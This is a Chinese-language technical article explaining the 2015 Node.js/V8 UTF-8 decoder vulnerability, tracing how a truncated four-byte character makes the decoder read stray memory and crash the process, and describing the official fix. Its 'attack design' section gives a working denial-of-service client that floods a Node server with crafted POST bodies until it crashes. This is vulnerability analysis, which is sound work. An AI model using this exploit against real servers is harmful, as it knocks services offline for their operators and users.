你的位置:首页 > Java教程

[Java教程]聊聊Node.js 独立日漏洞


背景

Node.js 社区近期在美国独立日周末的狂欢之时爆出漏洞
https://medium.com/@iojs/important-security-upgrades-for-node-js-and-io-js-8ac14ece5852

先给出一段会触发该漏洞的代码

http://img3.tbcdn.cn/L1/461/1/d5401fbf1e68213766c920c6ee0377ae18710276

直接在v0.12.4版本的node上运行,立即crash。

http://gtms03.alicdn.com/tps/i3/TB1EwJ8IFXXXXXSaXXXbL4aIXXX-780-130.png

下面我们相信的分析下该漏洞的原理。

调用栈

上面的代码构造了一个长度为1025的buffer,然后调用该buffer的toString方法解码成utf8字符,平时开发中再平常不过的调用了。但是为什么在这里会导致crash呢,和平时的写法到底有什么差别?

示例代码虽少,但是里面涉及到的各种调用可不少,从js到node中的c++,再到更底层的v8调用。大致过程如下图所示。
调用栈

关键调用

导致该漏洞产生的有几个比较关键的调用过程。

Utf8DecoderBase::Reset

每一个Utf8DecoderBase类实例化的对象都有一个私有的属性buffer_,

private: uint16_t buffer_[kBufferSize];

其中utfDecoder的kBufferSize设置为512,buffer用做存储解码后的utf8字符缓冲区。这里需要注意的是512不是字节数,而是字符数,有些utf8字符只需要一个这样的字符就能表示,有些则需要2个。示例代码中构造buffer用的微笑字符则需要2个这样的字符来表示,4个字节来存储。所以buffer能存储的字节数是512*2=1024。

如果待解码的buffer长度不超过1024时,在buffer中就能完全被解码完。解码到buffer的字符通过调用v8::internal::OS::MemCopy(data, buffer_, memcpy_length*sizeof(uint16_t))被拷贝到返回给node使用的字符串内存区。

Utf8DecoderBase::WriteUtf16Slow

但是当待解码的buffer长度超过1024个字节时,前1024个字节解码后还是通过上面讲的buffer_缓冲区存储,剩余待解码的字符则交给Utf8DecoderBase::WriteUtf16Slow处理。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,                   uint16_t* data,                   unsigned data_length) { while (data_length != 0) {  unsigned cursor = 0;  uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);  // There's a total lack of bounds checking for stream  // as it was already done in Reset.  stream += cursor;  if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {   *data++ = Utf16::LeadSurrogate(character);   *data++ = Utf16::TrailSurrogate(character);   DCHECK(data_length > 1);   data_length -= 2;  } else {   *data++ = character;   data_length -= 1;  } }}

WriteUtf16Slow对剩余的待解码buffer调用 Utf8::ValueOf进行解码, 调用Utf8::ValueOf时每次输出一个utf8字符。其中data_length表示还需要解码的字符数(注意不是utf8字符个数,而是uint16_t的个数),直至剩余的data_length个字符全部被解码。

Utf8::ValueOf

上面讲到调用Utf8::ValueOf从剩余buffer中解码出一个utf8字符,当这个utf8字符需要多个字节存储时,便会调用到Utf8::CalculateValue, Utf8::CalculateValue根据utf8字符的编码规则从buffer中解析出一个utf8字符。关于utf8编码的详细规则可以参考阮一峰老师博客的文章《字符编码笔记:ASCII,Unicode和UTF-8》,里面非常详细的讲解了utf8的编码规则。

uchar Utf8::CalculateValue(const byte* str,              unsigned length,              unsigned* cursor)

其中第一个参数表示待解码的buffer,第二个参数表示还可以读取的字节数,最后一个参数cursor表示解析结束后buffer的偏移量,也就是该utf8字符所占字节数。

实例分析

简单的讲解了实例代码执行时的调用链路后,我们再结合示例代码进行具体的调用分析。

buffer创建

首先示例代码使用一个占用4字节的微笑字符,构造出一个长度为257*4=1028的buffer,接着又调用slice(0,-3)去除最后面的3个字节,如下图所示。

http://gtms02.alicdn.com/tps/i2/TB1C4avIFXXXXaQXXXXyLTLWVXX-1280-820.png

buffer解码

然后调用buffer.toString()方法,将buffer解码为utf的字符串。由于待解码的字符长度为1025,所以前1024个字节会在Utf8DecoderBase::Reset中解码出512个字符(216个表情)到buffer_中,剩余的一个buffer 0xf0被传入到Utf8DecoderBase::WriteUtf16Slow中继续解码。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,                   uint16_t* data,                   unsigned data_length);

stream为待解码的buffer,data存储解码后的字符,datalength表示待解码的字符数。此时buffer缓冲区中的512个字符已被copy到data中。
http://gtms01.alicdn.com/tps/i1/TB1GgqiIFXXXXXAXFXXH3beFXXX-1024-768.jpg

last buffer

剩余的最后一个buffer 0xf0交给Utf8DecoderBase::WriteUtf16Slow处理,通过调用Utf8::ValueOf进行解码。

最后一个字节的二进制为(0xf0).toString(2)='11110000',根据utf8编码规则,是一个占用4字节的utf8字符的起始字节,于是继续调用Utf8::CalculateValue读取后面的字符。

由于之前完整的buffer被截掉了3个字节,所以理想情况下再次读取下一个字节时读到0x00, 二进制为(0x00).toString(2)='00000000'。很明显,不符合utf8规则预期的字节10xxxxxx,函数返回kBadChar(0xFFFD)。至此整个解码结束,程序无crash。

终于crash

上面说到了理想情况,但实际中由于V8引擎的内存管理策略,读完最后一个buffer再继续读取下一个字节时很可能会读到脏数据(根据我打印的log发现读取到脏数据的概率非常高,log详情), 如果继续读取到脏数据刚好和最后一个字节组合一起满足utf8编码规则(这个概率也很高),此时便读取到了一个合法的utf8字符(two characters),而理想情况应该读取到的是kBadChar(one character),那这又会产生什么问题呢?

我们再回到Utf8DecoderBase::WriteUtf16Slow的调用上

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,                   uint16_t* data,                   unsigned data_length) { while (data_length != 0) {  unsigned cursor = 0;  uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);  // There's a total lack of bounds checking for stream  // as it was already done in Reset.  stream += cursor;  if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {   *data++ = Utf16::LeadSurrogate(character);   *data++ = Utf16::TrailSurrogate(character);   DCHECK(data_length > 1);   data_length -= 2;  } else {   *data++ = character;   data_length -= 1;  } }}

此时data_length=1, 调用uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor),读取到满足编码规则的脏数据后if条件满足,于是执行DCHECK(data_length > 1),而此时data_length=1,断言失败,进程退出( 但在我的mac系统上并没有因为断言失败退出,此时继续执行data_length-=2, data_length=-1,while循环无法退出,产生bus error进程crash)。

define DCHECK(condition) do {                    \  if (!(condition)) {                       \   V8_Fatal(__FILE__, __LINE__, "CHECK(%s) failed", #condition); \  }                                \ } while (0)

设计攻击方案

了解漏洞原理后,设计一个攻击方案就简单很多了,只要有涉及到buffer操作的地方都可以产生攻击,web开发中常见的就是服务器攻击了,下面我们利用这个漏洞设计一个服务器的攻击方案,导致被攻击服务器进程crash,无法正常提高服务。

web开发中经常会有post请求,而node服务器接收post请求时发生到服务器的数据,必然会使用到buffer,所以主要方案就是向node服务器不断的post恶意构造的buffer。

server

使用原生http模块启动一个可以接收post数据的服务器

var http = require('http');http.createServer(function(req, res){  if(req.method == 'POST') {    var buf = [], len = 0;    req.on('data', function(chunk){      buf.push(chunk);      len += chunk.length;    });    req.on('end', function(){      var str = Buffer.concat(buf,len).toString();      res.end(str);      });  }else {    res.end('node');  }}).listen(3000);

client

由于读取脏内存的数据并且需要满足utf8编码规则存在一定的概率,所以客户端得不断的向服务器post,为了加快服务器crash,我们发送稍微大点的buffer

var net = require('net');var CRLF = '\r\n';function send () {  var connect = net.connect({      'host':'127.0.0.1',      'port':3000    }, function(){      //console.log('connected',new Date());  });  sendRequest(connect,'/post');}send();setInterval(function(){  send()},100);var i=0;function sendRequest(connect, path) {      var smile = Buffer(4);    smile[0] = 0xf0;    smile[1] = 0x9f;    smile[2] = 0x98;    smile[3] = 0x8a;    smile = smile.toString();    var buf = Buffer(Array(16385).join(smile)).slice(0,-3);  connect.write('POST '+path+' HTTP/1.1');  connect.write(CRLF);  connect.write('Host: 127.0.0.1');  connect.write(CRLF);  connect.write('Connection: keep-alive');  connect.write(CRLF);  connect.write('Content-Length:'+buf.length);  connect.write(CRLF);  connect.write('Content-Type: application/json;charset=utf-8');  connect.write(CRLF);  connect.write(CRLF);  connect.write(buf);  console.log(i++);}

启动服务器后,执行client脚本发现服务器很快就crash了。

漏洞修复

了解漏洞原理后修复其实非常简单,主要原因就是调用Utf8::ValueOf解析字符时会读取到符合编码规则的脏数据,而这个是因为传入的第二个参数是常量4,即使最后只剩一个字节时还继续读取。node官方的做法是调用此方法时传入剩余待解码的字节数,这样解析到最后一个字节时就不会继续读取到脏数据,自然也就不会造成断言失败或者死循环导致进程crash了。

参考资料

  • Important security upgrades for node.js and io.js
  • [fix out-of-band write in utf8 decoder] (https://github.com/joyent/node/commit/78b0e30954111cfaba0edbeee85450d8cbc6fdf6#diff-a3a7e2cde125f05dfde738eb27977f4fR181)
  • 字符编码笔记:ASCII,Unicode和UTF-8
  • JavaScript’s internal character encoding: UCS-2 or UTF-16?

更多精彩内容https://github.com/hustxiaoc/node.js/issues/9